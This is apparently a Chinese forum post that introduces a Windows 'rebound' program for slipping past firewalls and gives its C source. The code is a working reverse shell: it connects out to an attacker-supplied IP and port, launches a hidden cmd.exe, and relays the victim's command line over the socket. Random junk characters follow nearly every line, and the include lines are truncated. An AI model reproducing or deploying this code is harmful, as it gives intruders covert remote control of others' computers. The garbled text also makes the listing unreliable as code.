这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XX~,>Q}H=
wyG;8I
/* ============================== :Tq~8!s
Rebound port in Windows NT [/ZO q
By wind,2006/7 :hA#m[
===============================*/ E\$W_Lmr
#include Q@H V- (A
#include Y\tui+?J
c`Wa^(
#pragma comment(lib,"wsock32.lib") tnIX:6
o" SMbj
void OutputShell(); GKCroyor
SOCKET sClient; 9!tW.pK5
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \j.:3Xr
tg/H2p^Y
void main(int argc,char **argv) ?%kV?eu'
{ 8XbT`y
WSADATA stWsaData; S[QrS7
int nRet; I2DpRMy
SOCKADDR_IN stSaiClient,stSaiServer; C*lJrFpB
9>$p
if(argc != 3) B?wq=DoG
{ 2+O'9F_v
printf("Useage:\n\rRebound DestIP DestPort\n"); Wez5N
return; Q=:|R3U/
} BORA(,
LHmZxi?
WSAStartup(MAKEWORD(2,2),&stWsaData); <6=c,y
C.QO#b
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~;] d"'
9ll~~zF99|
stSaiClient.sin_family = AF_INET; uVU)d1N
stSaiClient.sin_port = htons(0); zn(PI3+]!
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ct|A:/z(
r%N)bNk~
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tI{_y
{ @lt#Nz
printf("Bind Socket Failed!\n"); 1nOCQ\$l
return; bN88ua}k{
} |Ds=)S"
K
A(N4N
stSaiServer.sin_family = AF_INET; 1&$ nVQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XZwK6F)L
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cGD(.=
\C1nZk?3
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,=N.FS
{ Xm2'6f,
printf("Connect Error!"); rN{ c7/|
return; p<;0g9,1
} #D|p2L$
OutputShell(); |)G<,FJQE_
} Xry47a
)
RFH0
void OutputShell() *9i{,I@
{ X8`Sf>
char szBuff[1024]; 4Xv*wB1
SECURITY_ATTRIBUTES stSecurityAttributes; KY N0
OSVERSIONINFO stOsversionInfo; IIqUZJ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; D
sWSGb
STARTUPINFO stStartupInfo; Q5_o/wk
char *szShell; lNBL4yM
PROCESS_INFORMATION stProcessInformation; o?
$.fhD
unsigned long lBytesRead; 6`-jPR
{zFMmPid
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [fIg{Q
7[wieYj{
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yCX?!E;La
stSecurityAttributes.lpSecurityDescriptor = 0; ,v&(Y Od
stSecurityAttributes.bInheritHandle = TRUE; 4Z,!zFS$`
_-F s#f8
f
V( J|
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); x3krbUlx
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cs'{5!i]
wa3}SB
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OUXR
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rXU\
stStartupInfo.wShowWindow = SW_HIDE; +t;7tQDVB
stStartupInfo.hStdInput = hReadPipe; k;L6R!V
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D#)b+7N-
E+JqWR5
GetVersionEx(&stOsversionInfo); :/Qq@]O>
]$_NyAoBb
switch(stOsversionInfo.dwPlatformId) kSh( u
{ *WT`o>
case 1: >dG[G>
szShell = "command.com"; 7\q~%lDE
break; 6MkP |vr6
default: NN`uI6=
szShell = "cmd.exe"; {.\TtE
break;
#C3.Jef
} l/awS!Q/nF
O8.5}>gDn.
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "w.3Q96r
WeiFmar
send(sClient,szMsg,77,0); pV"R|{#V
while(1) :08,JL{
{ '08=yqy4N
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); # Vha7
if(lBytesRead) W{gb:^;zb
{ :4%k9BGAj"
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0_t`%l=
send(sClient,szBuff,lBytesRead,0); 9*?oYm;dX
} abLnI =W`
else 5[u]E~Fl}
{ f`=-US
lBytesRead=recv(sClient,szBuff,1024,0); 9p2&)kb6
if(lBytesRead<=0) break; /~f'}]W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Oo%d]8W
} w)Qp?k
d
} .h4 \Y A
J
S_]FsxD
return; /d<P-!fK
}